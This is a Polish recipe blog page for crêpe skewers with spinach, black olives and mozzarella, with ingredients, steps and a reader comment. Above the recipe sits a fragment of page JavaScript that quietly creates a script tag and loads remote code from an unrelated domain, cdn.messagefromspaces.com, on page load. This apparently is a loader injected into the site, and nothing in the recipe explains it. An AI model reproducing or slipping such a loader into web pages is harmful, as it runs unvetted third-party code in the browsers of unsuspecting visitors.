, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })

Naleśnikowe koreczki z czarną oliwką i mozarellą

Wydrukuj artykuł Wydrukuj artykuł

Naleśnikowe koreczki ze szpinakiem i czarną oliwką

Dziś kolejna wersja tego samego szpinakowego naleśnika, który zjada się wprost świetnie:)

Naleśniki przygotować jak w przepisie na Szpinakowe „paluchy” z mozarellą

Szpinak:

  • torebka mrożonego rozdrobnionego szpinaku
  • łyżka posiekanego świeżego koperku
  • łyżeczka posiekanej natki pietruszki
  • 3 ząbki czosnku
  • sól i pieprz
  • 1/3 łyżeczki gałki muszkatołowej

Szpinak rozmrozić, w miarę możliwości odlać wodę, włożyć do rondla. Dodać 3 ząbki czosnku przeciśnięte przez praskę. Odparować na wolnym ogniu, potem doprawić koperkiem, natką pietruszki gałką, solą i pieprzem.

Składniki na 8 naleśników:

  • 3 jajka
  • szklanka mleka
  • szczypta soli
  • szklanka mąki (mąkę należy dozować stopniowo do uzyskania średnio gęstego ciasta naleśnikowego)
  • 3 czubate łyżki szpinaku przygotowanego w sposób opisany powyżej.
  • 2 łyżki oleju

Naleśniki smażyłam na suchej patelni,  jeszcze ciepłe posypałam startą na tarce mozarellą i zwinęłam. Jak wystygły pokroiłam naleśniki na kawałki, przygotowałam kostki sera mozarelli, czarne oliwki i złożyłam koreczki:)

Kategoria: Bez kategorii Jeden komentarz »

Jedna odpowiedź to “Naleśnikowe koreczki z czarną oliwką i mozarellą”

  1. Olivia

    co tu ukrywać, jestem zachwycona taką formą naleśniorów. Mój tato uwielbia naleśniki, że też nigdy nie wpadłam na podobny pomysł!
    Z pewnością niebawem te cudne koreczki zagoszczą na naszym stole.. i w brzuchach moich domowych łakomczuchów :D


Skomentuj...



Początek strony